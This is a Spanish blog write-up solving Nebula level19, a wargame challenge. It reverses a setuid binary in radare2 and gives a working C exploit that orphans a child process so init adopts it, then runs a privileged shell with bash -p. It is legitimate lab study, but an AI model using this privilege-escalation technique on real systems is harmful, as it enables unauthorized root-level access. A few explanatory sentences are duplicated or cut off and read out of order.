Tras un enriquecedor y estimulante camino, alcanzamos por fin el último reto de la máquina Nebula, dedicada a explorar los conceptos básicos sobre vulnerabilidades en entornos de desarrollo Unix. Veamos si podemos completar con éxito el desafío final:
level19@nebula:/home/flag19$ ls -al
total 13
drwxr-x--- 2 flag19 level19 80 2011-11-20 21:22 .
drwxr-xr-x 1 root root 80 2012-08-27 07:18 ..
-rw-r--r-- 1 flag19 flag19 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag19 flag19 3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag19 level19 7480 2011-11-20 21:22 flag19
-rw-r--r-- 1 flag19 flag19 675 2011-05-18 02:54 .profile
Un binario, como no podía ser menos. Al ejecutar
./flag19
simplemente obtenemos por respuesta:
You are unauthorized to run this program
Indagamos con
radare2
para extraer toda la información:
dpc@kernelinside:~$ r2 ./flag19
-- Enable asm.trace to see the tracing information inside the disassembly
[0x080484a0]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[0x080484a0]> iz
000 0x00000730 0x08048730 8 9 (.rodata) ascii /proc/%d
001 0x0000073c 0x0804873c 30 31 (.rodata) ascii Unable to check parent process
002 0x0000075b 0x0804875b 7 8 (.rodata) ascii /bin/sh
003 0x00000763 0x08048763 16 17 (.rodata) ascii Unable to execve
004 0x00000774 0x08048774 40 41 (.rodata) ascii You are unauthorized to run this program
Parece que existe la posibilidad de invocar otra shell con permisos elevados. Examinamos las funciones más interesantes:
[0x080484a0]> afl
0x080483bc 3 46 sym._init
0x08048400 1 6 sym.imp.__stack_chk_fail
0x08048410 1 6 sym.imp.err
0x08048420 1 6 sym.imp.__xstat
0x08048430 1 6 sym.imp.puts
0x08048440 1 6 loc.imp.__gmon_start
0x08048450 1 6 sym.imp.exit
0x08048460 1 6 sym.imp.__libc_start_main
0x08048470 1 6 sym.imp.execve
0x08048480 1 6 sym.imp.snprintf
0x08048490 1 6 sym.imp.getppid
0x080484a0 1 33 entry0
0x080484d0 6 85 sym.__do_global_dtors_aux
0x08048530 4 35 sym.frame_dummy
0x08048554 7 219 sym.main
0x08048630 4 97 sym.__libc_csu_init
0x080486a0 1 2 sym.__libc_csu_fini
0x080486a2 1 4 sym.__i686.get_pc_thunk.bx
0x080486b0 1 48 sym.__stat
0x080486e0 4 42 sym.__do_global_ctors_aux
0x0804870c 1 26 sym._fini
Como funciones locales solo tenemos a
main()
, y no parece ser muy grande, por otro lado sí destacan las llamadas a geppid()
y execve()
, esta última confirmando la pista anterior. No nos entretenemos más y entramos de lleno en main()
:
[0x080484a0]> s sym.main
[0x08048554]> pdf
| ;-- main:
/ (fcn) sym.main 219
| sym.main (int arg_ch, int arg_10h);
| ; arg int arg_ch @ ebp+0xc
| ; arg int arg_10h @ ebp+0x10
| ; var size_t size @ esp+0x4
| ; var char *format @ esp+0x8
| ; var int local_ch @ esp+0xc
| ; var int local_18h @ esp+0x18
| ; var int local_1ch @ esp+0x1c
| ; var int local_24h @ esp+0x24
| ; var int local_3ch @ esp+0x3c
| ; var char *s @ esp+0x7c
| ; var int local_17ch @ esp+0x17c
| ; DATA XREF from entry0 (0x80484b7)
| 0x08048554 push ebp
| 0x08048555 mov ebp, esp
| 0x08048557 and esp, 0xfffffff0
| 0x0804855a sub esp, 0x180
| 0x08048560 mov eax, dword [arg_ch] ; [0xc:4]=-1 ; 12
| 0x08048563 mov dword [local_1ch], eax
| 0x08048567 mov eax, dword [arg_10h] ; [0x10:4]=-1 ; 16
| 0x0804856a mov dword [local_18h], eax
| 0x0804856e mov eax, dword gs:[0x14] ; [0x14:4]=-1 ; 20
| 0x08048574 mov dword [local_17ch], eax
| 0x0804857b xor eax, eax
| 0x0804857d call sym.imp.getppid
| 0x08048582 mov edx, str.proc__d ; 0x8048730 ; "/proc/%d"
| 0x08048587 mov dword [local_ch], eax ; ...
| 0x0804858b mov dword [format], edx ; const char *format
| 0x0804858f mov dword [size], 0xff ; [0xff:4]=-1 ; 255 ; size_t size
| 0x08048597 lea eax, [s] ; 0x7c ; '|' ; 124
| 0x0804859b mov dword [esp], eax ; char *s
| 0x0804859e call sym.imp.snprintf ; int snprintf(char *s, size_t size, const char *format, ...)
Hasta aquí dos llamadas de sistema bastante simples, se obtiene mediante
getppid()
el identificador PID del proceso padre y se llama a snprintf()
para crear la cadena "/proc/$PPID"
(donde $PPID
es el valor obtenido anteriormente). Continuamos:
| 0x080485a3 lea eax, [s] ; 0x7c ; '|' ; 124
| 0x080485a7 lea edx, [local_24h] ; 0x24 ; '$' ; 36
| 0x080485ab mov dword [size], edx
| 0x080485af mov dword [esp], eax
| 0x080485b2 call sym.__stat
| 0x080485b7 cmp eax, 0xffffffffffffffff
| ,=< 0x080485ba jne 0x80485d4
| | 0x080485bc mov dword [esp], str.Unable_to_check_parent_process ; [0x804873c:4]=0x62616e55 ; "Unable to check parent process" ; const char *s
| | 0x080485c3 call sym.imp.puts ; int puts(const char *s)
| | 0x080485c8 mov dword [esp], 1 ; int status
| | 0x080485cf call sym.imp.exit ; void exit(int status)
Se llama a
stat()
sobre el path construido hace un momento. En caso de error se imprime un mensaje y exit()
nos saca fuera del programa, en caso contrario sigue así:
| `-> 0x080485d4 mov eax, dword [local_3ch] ; [0x3c:4]=-1 ; '<' ; 60
| 0x080485d8 test eax, eax
| ,=< 0x080485da jne 0x804860c
| | 0x080485dc mov eax, dword [local_18h] ; [0x18:4]=-1 ; 24
| | 0x080485e0 mov dword [format], eax
| | 0x080485e4 mov eax, dword [local_1ch] ; [0x1c:4]=-1 ; 28
| | 0x080485e8 mov dword [size], eax
| | 0x080485ec mov dword [esp], str.bin_sh ; [0x804875b:4]=0x6e69622f ; "/bin/sh"
| | 0x080485f3 call sym.imp.execve
Aquí se encuentra el quiz del reto. Se compara uno de los campos de la structura
Existen dos posibilidades:
Primero. La salida del comando
stat
obtenida anteriormente con el valor 0, en caso de ser iguales execve()
es invocado. Descubrimos mediante ltrace
que en realidad ./flag19
llama a stat64()
, y que el campo a chequear es st_uid
, es decir, se está comprobando si el propietario del proceso padre de ./flag19
es el usuario root
.
Existen dos posibilidades:
Primero. La salida del comando
ps
mostrada a continuación, nos revela que el propietario del proceso login
es root
, por lo que si pudieramos cambiar la shell de inicio del usuario level19
por el binario ./flag19
, entonces habríamos logrado nuestro objetivo. Por desgracia, un comando como chsh level19 -s /home/flag19/flag19
nos advertirá de que ./flag19
no es una shell válida, y lo será mientras no podamos incluir el binario dentro del archivo de configuración /etc/shells
, para el cual, por supuesto, no tenemos permisos de escritura.
level19@nebula:/home/flag19$ ps -aux
...
...
root 1261 0.0 0.1 4972 1824 tty1 Ss 07:31 0:00 /bin/login --
level19 1287 0.0 0.6 10256 6684 tty1 S+ 07:31 0:00 -sh
Segundo. Cualquier proceso en Linux (y en la práctica casi cualquier variante derivada de Unix) que se quede huérfano, será adoptado por el proceso
Solo debemos de tener en cuenta un par de detalles. Cuando
init
, cuyo propietario es el usuario root
. Esta información es suficente para construir un programa que llame a fork()
y, una vez que el proceso padre haya terminado, invocar execve()
con el binario ./flag19
.
Solo debemos de tener en cuenta un par de detalles. Cuando
./flag19
llame a execve("/bin/sh")
, lo hará pasándole los mismos argumentos que nosotros hemos pasado a ./flag19
en nuestra particular llamada a execve()
. Por otro lado, en esta clase de retos, en los que un programa con el bit suid activado invoca una nueva shell, se suele utilizar algun tipo de wrapper tal como el que se muestra a continuación:
int main()
{
setresuid(geteuid(), geteuid(), geteuid());
system("/bin/bash");
}
Esto restablece los privilegios de ejecución a los que poseía el propietario del binario vulnerable. Para evitar esta molesta indirección, he aprovechado una opción muy interesante que ofrece
bash
y que logra el mismo objetivo:
`-p'
Turn on privileged mode. In this mode, the `$BASH_ENV' and
`$ENV' files are not processed, shell functions are not
inherited from the environment, and the `SHELLOPTS',
`BASHOPTS', `CDPATH' and `GLOBIGNORE' variables, if they
appear in the environment, are ignored. If the shell is
started with the effective user (group) id not equal to the
real user (group) id, and the `-p' option is not supplied,
these actions are taken and the effective user id is set to
the real user id. If the `-p' option is supplied at startup,
the effective user id is not reset. Turning this option off
causes the effective user and group ids to be set to the real
user and group ids.
Si lanzamos
bash
con la opción -p
, entraremos en modo privilegiado, y bash
no dropeará los privilegios que hemos conseguido al explotar la vulnerabilidad. Ahora nuestro exploit en C:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
extern char **environ;
int main()
{
char *const args[] = {"/bin/sh", "-p", "-c", "/bin/getflag > /tmp/l19pwned", NULL};
pid_t pid;
if ((pid = fork()) == 0)
{
sleep(1); // El proceso padre siempre morirá antes
execve("/home/flag19/flag19", args, environ);
_exit(1);
}
else
{
exit(0);
}
}
Y apretamos el botón rojo:
level19@nebula:/tmp$ ./l19exploit
level19@nebula:/tmp$ ls
l19exploit l19exploit.c l19pwned
level19@nebula:/tmp$ cat l19pwned
You have successfully executed getflag on a target account
Pwned!
No hay comentarios:
Publicar un comentario